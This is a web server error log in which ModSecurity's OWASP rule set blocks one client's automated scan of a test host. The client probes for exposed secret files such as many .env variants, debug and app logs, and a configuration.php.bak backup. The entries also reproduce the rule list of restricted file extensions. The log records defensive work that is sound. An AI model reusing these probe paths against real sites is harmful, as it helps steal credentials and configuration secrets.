[Tue Aug 05 17:44:49.037731 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44pQAAAAg&quot;]
[Tue Aug 05 17:44:49.037917 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44pQAAAAg&quot;]
[Tue Aug 05 17:44:49.176057 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44qwAAAAg&quot;]
[Tue Aug 05 17:44:49.176261 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44qwAAAAg&quot;]
[Tue Aug 05 17:44:49.176450 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44qwAAAAg&quot;]
[Tue Aug 05 17:44:49.198562 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rAAAAAg&quot;]
[Tue Aug 05 17:44:49.198777 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rAAAAAg&quot;]
[Tue Aug 05 17:44:49.198947 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rAAAAAg&quot;]
[Tue Aug 05 17:44:49.243959 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rgAAAAg&quot;]
[Tue Aug 05 17:44:49.244155 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rgAAAAg&quot;]
[Tue Aug 05 17:44:49.244310 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rgAAAAg&quot;]
[Tue Aug 05 17:44:49.266313 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rwAAAAg&quot;]
[Tue Aug 05 17:44:49.266534 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rwAAAAg&quot;]
[Tue Aug 05 17:44:49.266686 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44rwAAAAg&quot;]
[Tue Aug 05 17:44:49.289132 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44sAAAAAg&quot;]
[Tue Aug 05 17:44:49.289325 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44sAAAAAg&quot;]
[Tue Aug 05 17:44:49.289481 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44sAAAAAg&quot;]
[Tue Aug 05 17:44:50.870755 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44tAAAAAg&quot;]
[Tue Aug 05 17:44:50.871243 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44tAAAAAg&quot;]
[Tue Aug 05 17:44:50.871497 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44tAAAAAg&quot;]
[Tue Aug 05 17:44:50.893774 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44tQAAAAg&quot;]
[Tue Aug 05 17:44:50.893981 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44tQAAAAg&quot;]
[Tue Aug 05 17:44:50.894136 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44tQAAAAg&quot;]
[Tue Aug 05 17:44:50.939546 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44twAAAAg&quot;]
[Tue Aug 05 17:44:50.939848 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44twAAAAg&quot;]
[Tue Aug 05 17:44:50.940003 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44twAAAAg&quot;]
[Tue Aug 05 17:44:50.985399 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44uQAAAAg&quot;]
[Tue Aug 05 17:44:50.985590 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44uQAAAAg&quot;]
[Tue Aug 05 17:44:50.985764 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aJIm8v8AUwGiCLARHH44uQAAAAg&quot;]
[Tue Aug 05 17:44:51.008348 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44ugAAAAg&quot;]
[Tue Aug 05 17:44:51.008526 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44ugAAAAg&quot;]
[Tue Aug 05 17:44:51.008718 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44ugAAAAg&quot;]
